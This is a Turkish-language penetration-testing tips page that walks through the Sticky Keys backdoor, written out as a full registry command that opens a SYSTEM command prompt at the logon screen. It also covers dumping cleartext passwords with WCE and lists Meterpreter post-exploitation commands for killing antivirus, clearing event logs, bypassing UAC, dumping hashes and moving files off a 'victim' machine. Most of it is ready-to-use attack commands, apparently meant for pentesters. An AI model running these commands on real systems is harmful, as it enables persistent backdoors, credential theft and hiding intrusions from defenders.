İpucu: Kapalı Oturumda Yapışkan Tuşlar ile Yerel Yönetici Kullanıcısı Oluşturma

Yapışkan Tuşlar ile Komut Satırına Geçme

Tehdit
Yerel yönetici hesabı kullanan bir kullanıcının oturumunu açık bırakılması durumunda bu makinede bir arka kapı bırakılarak makinede tam kontrol sağlanabilir.

Senaryo
Yönetici oturumu açık kalmış olan birmakinede kayıt defterine aşağıdaki gibi bir kayıt girilir:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

Otumunun kapatıldığını varsayalım. Bu makinenin başına geçen kullanıcı 5 kere SHIFT tuşuna basarak komut satırına geçiş yapabilir. Daha sonra SYSTEM hakları ile bir yönetici kullanıcısı oluşturabilir:

Kaynak site:
http://security.ege.edu.tr/istemciguvenligi/17-kritik-windows-acigi.html

İpuçları

İpuçları

Keyboard Shortcuts in Remote Desktop Connection (RDC) for Navigation
Kaynak site: 
http://www.mydigitallife.info/keyboard-shortcuts-in-remote-desktop-connection-rdc-for-navigation/

Hak5 925 – Break into shell with MsPaint, Launchy, BackTrack Wireless and more
Kaynak site: 
http://hak5.org/episodes/hak5-925

Problems
Kaynak site: 
http://projecteuler.net/problems

SecurityTube Metasploit Framework Expert (SMFE) Course Material
Kaynak site: 
http://www.securitytube.net/groups?operation=view&groupId=10

Batch File Commands
Kaynak site: 
http://academic.evergreen.edu/projects/biophysics/technotes/program/batch.htm

Scanning NetBIOS
Kaynak site: 
http://pentestlab.wordpress.com/2012/08/19/scanning-netbios/

How to run Control Panel tools by typing a command 
Kaynak site: 
http://support.microsoft.com/kb/192806/en-us

Nessus Compliance and Audit Download Center
Kullanımı: 
www.tenable.com --> Support Portal --> Username/Password girişi yapılır --> Downloads --> Compliance and Audit Files

Fingerprint & WCE
wce.exe aracına '-w' parametresi verilerek, bir bilgisayarda açık oturumu olan hesapların parolaları açık halde elde edilebilir. Bir kullanıcı şifresini girmeden biyometrik yollarla (parmak izi, retina vs) oturumunu açmış olsa bile, mevcut şifresi yine de wce.exe aracı ile açık halde elde edilebilir.

İpucu: WCE'den Kaçınma Yöntemi
Kaynak site: 
http://ertugrulbasaranoglu.blogspot.com/2012/10/ipucu-wceden-kacnma-yontemi.html

Bazı Meterpreter Komutları

Bazı Meterpreter Komutları

Hedef Sistemin Kabuğuna Düşme
execute -f cmd.exe -H -i
shell

Hedef Sistemde Dosya Arama
search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.pdf

Hedef Sistemden veri çekme, veri yükleme
upload BackTrackDizinindekiDosya KurbanBilgisayarDizinindekiDosya
download KurbanBilgisayarDizinindekiDosya BackTrackDizinindekiDosya

Makineyi yeniden başlatma
reboot

Antivirüsü kapatma
killav
Not: Bu modül tam olarak çalışmayabilir. Bu sebeple hedef makinenin kabuğuna düşüldükten sonra, önce AV prosesi bulunur. Sonra ilgili servisi bulunarak kapatılır veya disable edilip yeniden başlatılır. Daha sonra da AV prosesi sonlandırılır.

Event logları silme
clearev

UAC atlatma
run post/windows/escalate/bypassuac

Arp taraması ile makine keşfi
run arp_scanner -r 192.168.25.1/24

Parola özetlerini elde etme
hashdump
Ayrıntılı bilgi için bakınız.

Mevcut prosesleri listeleme
ps

Mevcut prosese sıçrama
migrate <Proses_Id>

Bilgisayarda işlem yapılmama vaktini tespit etme
idletime

Meterpreter'ın çalıştığı prosesin kullanıcısını izleme
getuid

Meterpreter'ın çalıştığı prosesin ID değerini izleme
getpid

SYSTEM hakkına sahip olma
getsystem

Oturumu kapatmadan Meterpreter'dan MSF'e geçiş
background

Oturumu kapatarak Meterpreter'dan MSF'e geçiş
exit